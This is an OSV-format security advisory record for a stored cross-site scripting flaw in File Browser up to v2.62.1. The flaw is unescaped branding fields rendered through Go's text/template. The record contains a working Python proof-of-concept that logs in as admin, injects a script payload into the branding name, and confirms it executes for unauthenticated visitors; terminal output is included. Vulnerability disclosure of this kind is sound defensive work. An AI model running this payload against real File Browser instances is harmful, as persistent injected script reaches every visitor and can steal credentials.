{"id":"GHSA-xfqj-3vmx-63wv","summary":"File Browser vulnerable to Stored Cross-site Scripting via text/template branding injection","details":"### Summary\nThe SPA index page in File Browser is vulnerable to Stored Cross-site Scripting (XSS) via admin-controlled branding fields. An admin who sets `branding.name` to a malicious payload injects persistent JavaScript that executes for ALL visitors, including unauthenticated users.\n\n\n\u003cbr/\u003e\n\n### Details\n`http/static.go` renders the SPA `index.html` using Go's `text/template` (NOT `html/template`) with custom delimiters `[{[` and `]}]`. Branding fields are inserted directly into HTML without any escaping:\n\n```go\n// http/static.go, line 16 — imports text/template instead of html/template\n\"text/template\"\n\n// http/static.go, line 33 — branding.Name passed into template data\n\"Name\": d.settings.Branding.Name,\n\n// http/static.go, line 97 — template parsed with custom delimiters, no escaping\nindex := template.Must(template.New(\"index\").Delims(\"[{[\", \"]}]\").Parse(string(fileContents)))\n```\n\nThe frontend template (`frontend/public/index.html`) embeds these fields directly:\n```html\n\u003c!-- frontend/public/index.html, line 16 --\u003e\n[{[ if .Name -]}][{[ .Name ]}][{[ else ]}]File Browser[{[ end ]}]\n\n\u003c!-- frontend/public/index.html, line 42 --\u003e\ncontent=\"[{[ if .Color -]}][{[ .Color ]}][{[ else ]}]#2979ff[{[ end ]}]\"\n```\n\nSince `text/template` performs NO HTML escaping (unlike `html/template`), setting `branding.name` to `\u003c/title\u003e\u003cscript\u003ealert(1)\u003c/script\u003e` breaks out of the `\u003ctitle\u003e` tag and injects arbitrary script into every page load.\n\nAdditionally, when ReCaptcha is enabled, the `ReCaptchaHost` field is used as:\n```html\n\u003cscript src=\"[{[.ReCaptchaHost]}]/recaptcha/api.js\"\u003e\u003c/script\u003e\n```\nThis allows loading arbitrary JavaScript from an admin-chosen origin.\n\nNo `Content-Security-Policy` header is set on the SPA entry point, so there is no CSP mitigation.\n\n\n\u003cbr/\u003e\n\n### PoC\nBelow is the PoC python script that could be ran on test environment using docker compose:\n\n```yaml\nservices:\n\n  filebrowser:\n    image: filebrowser/filebrowser:v2.62.1\n    user: 0:0\n    ports:\n      - \"80:80\"\n```\n\nAnd running this PoC python script:\n```python\nimport argparse\nimport json\nimport sys\nimport requests\n\n\nBANNER = \"\"\"\n  Stored XSS via Branding Injection PoC\n  Affected: filebrowser/filebrowser \u003c=v2.62.1\n  Root cause: http/static.go uses text/template (not html/template)\n  Branding fields rendered unescaped into SPA index.html\n\"\"\"\n\nXSS_MARKER = \"XSS_BRANDING_POC_12345\"\nXSS_PAYLOAD = (\n    '\u003c/title\u003e\u003cscript\u003ewindow.' + XSS_MARKER + '=1;'\n    'alert(\"XSS in File Browser branding\")\u003c/script\u003e\u003ctitle\u003e'\n)\n\n\ndef login(base: str, username: str, password: str) -\u003e str:\n    r = requests.post(f\"{base}/api/login\",\n                      json={\"username\": username, \"password\": password},\n                      timeout=10)\n    if r.status_code != 200:\n        print(f\"      Login failed: {r.status_code}\")\n        sys.exit(1)\n    return r.text.strip('\"')\n\n\ndef main():\n    sys.stdout.write(BANNER)\n    sys.stdout.flush()\n\n    ap = argparse.ArgumentParser(\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        description=\"Stored XSS via branding injection PoC\",\n        epilog=\"\"\"examples:\n  %(prog)s -t http://localhost -u admin -p admin\n  %(prog)s -t http://target.com/filebrowser -u admin -p secret\n\nhow it works:\n  1. Authenticates as admin to File Browser\n  2. Sets branding.name to a \u003cscript\u003e payload via PUT /api/settings\n  3. Fetches the SPA index (unauthenticated) to verify the payload\n     renders unescaped in the HTML \u003ctitle\u003e tag\n\nroot cause:\n  http/static.go renders the SPA index.html using Go's text/template\n  (NOT html/template) with custom delimiters [{[ and ]}].\n  Branding fields like Name are inserted directly into HTML:\n    \u003ctitle\u003e[{[.Name]}]\u003c/title\u003e\n  No escaping is applied, so HTML/JS in the name breaks out of\n  the \u003ctitle\u003e tag and executes as script.\n\nimpact:\n  Stored XSS affecting ALL visitors (including unauthenticated).\n  An admin (or attacker who compromised admin) can inject persistent\n  JavaScript that steals credentials from every user who visits.\"\"\",\n    )\n\n    ap.add_argument(\"-t\", \"--target\", required=True,\n                    help=\"Base URL of File Browser (e.g. http://localhost)\")\n    ap.add_argument(\"-u\", \"--user\", required=True,\n                    help=\"Admin username\")\n    ap.add_argument(\"-p\", \"--password\", required=True,\n                    help=\"Admin password\")\n    if len(sys.argv) == 1:\n        ap.print_help()\n        sys.exit(1)\n    args = ap.parse_args()\n\n    base = args.target.rstrip(\"/\")\n    hdrs = lambda tok: {\"X-Auth\": tok, \"Content-Type\": \"application/json\"}\n\n    print()\n    print(\"[*] ATTACK BEGINS...\")\n    print(\"====================\")\n\n    print(f\"\\n  [1] Authenticating to {base}\")\n    token = login(base, args.user, args.password)\n    print(f\"      Logged in as: {args.user}\")\n\n    print(f\"\\n  [2] Injecting XSS payload into branding.name\")\n    r = requests.get(f\"{base}/api/settings\", headers=hdrs(token), timeout=10)\n    if r.status_code != 200:\n        print(f\"      Failed: GET /api/settings returned {r.status_code}\")\n        print(f\"      (requires admin privileges)\")\n        sys.exit(1)\n    settings = r.json()\n    settings[\"branding\"][\"name\"] = XSS_PAYLOAD\n    r = requests.put(f\"{base}/api/settings\", headers=hdrs(token),\n                     json=settings, timeout=10)\n    if r.status_code != 200:\n        print(f\"      Failed: PUT /api/settings returned {r.status_code}\")\n        sys.exit(1)\n    print(f\"      Payload injected\")\n\n    print(f\"\\n  [3] Verifying XSS renders in unauthenticated SPA\")\n    r = requests.get(f\"{base}/\", timeout=10)\n    html = r.text\n\n    if XSS_MARKER in html:\n        print(f\"      XSS payload found in HTML response!\")\n        for line in html.split(\"\\n\"):\n            if XSS_MARKER in line:\n                print(f\"      \u003e\u003e\u003e {line.strip()[:120]}\")\n        csp = r.headers.get(\"Content-Security-Policy\", \"\")\n        if not csp:\n            print(f\"      No CSP header — script executes without restriction\")\n        confirmed = True\n    else:\n        print(f\"      Payload NOT found in HTML\")\n        confirmed = False\n\n    print()\n    print(\"====================\")\n\n    if confirmed:\n        print()\n        print(\"CONFIRMED: text/template renders branding.name without escaping.\")\n        print(\"The \u003ctitle\u003e tag is broken and arbitrary \u003cscript\u003e executes.\")\n        print(\"Every visitor (authenticated or not) receives the payload.\")\n        print()\n        print(f\"Open {base}/ in a browser to see the alert() popup.\")\n    else:\n        print()\n        print(\"NOT CONFIRMED in this test run.\")\n    print()\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nAnd terminal output:\n```bash\nroot@server205:~/sec-filebrowser# python3 poc_branding_xss.py -t http://localhost -u admin -p \"jhSR9z9pofv5evlX\"\n\n  Stored XSS via Branding Injection PoC\n  Affected: filebrowser/filebrowser \u003c=v2.62.1\n  Root cause: http/static.go uses text/template (not html/template)\n  Branding fields rendered unescaped into SPA index.html\n\n[*] ATTACK BEGINS...\n====================\n\n  [1] Authenticating to http://localhost\n      Logged in as: admin\n\n  [2] Injecting XSS payload into branding.name\n      Payload injected\n\n  [3] Verifying XSS renders in unauthenticated SPA\n      XSS payload found in HTML response!\n      \u003e\u003e\u003e \u003c/title\u003e\u003cscript\u003ewindow.XSS_BRANDING_POC_12345=1;alert(\"XSS in File Browser branding\")\u003c/script\u003e\u003ctitle\u003e\n      \u003e\u003e\u003e window.FileBrowser = {\"AuthMethod\":\"json\",\"BaseURL\":\"\",\"CSS\":false,\"Color\":\"\",\"DisableExternal\":false,\"DisableUsedPercen\n      No CSP header — script executes without restriction\n\n====================\n\nCONFIRMED: text/template renders branding.name without escaping.\nThe \u003ctitle\u003e tag is broken and arbitrary \u003cscript\u003e executes.\nEvery visitor (authenticated or not) receives the payload.\n\nOpen http://localhost/ in a browser to see the alert() popup.\n\n```\n\n\n\u003cbr/\u003e\n\n### Impact\n- Stored XSS affecting ALL visitors including unauthenticated users\n- Persistent backdoor — the payload survives until branding is manually changed","aliases":["CVE-2026-34530","GO-2026-5754"],"modified":"2026-06-25T23:11:28.192655343Z","published":"2026-03-31T23:45:56Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-03-31T23:45:56Z","nvd_published_at":"2026-04-01T21:17:00Z","cwe_ids":["CWE-79"]},"references":[{"type":"WEB","url":"https://github.com/filebrowser/filebrowser/security/advisories/GHSA-xfqj-3vmx-63wv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34530"},{"type":"PACKAGE","url":"https://github.com/filebrowser/filebrowser"},{"type":"WEB","url":"https://github.com/filebrowser/filebrowser/releases/tag/v2.62.2"}],"affected":[{"package":{"name":"github.com/filebrowser/filebrowser/v2","ecosystem":"Go","purl":"pkg:golang/github.com/filebrowser/filebrowser/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.62.2"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 2.62.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-xfqj-3vmx-63wv/GHSA-xfqj-3vmx-63wv.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N"}]}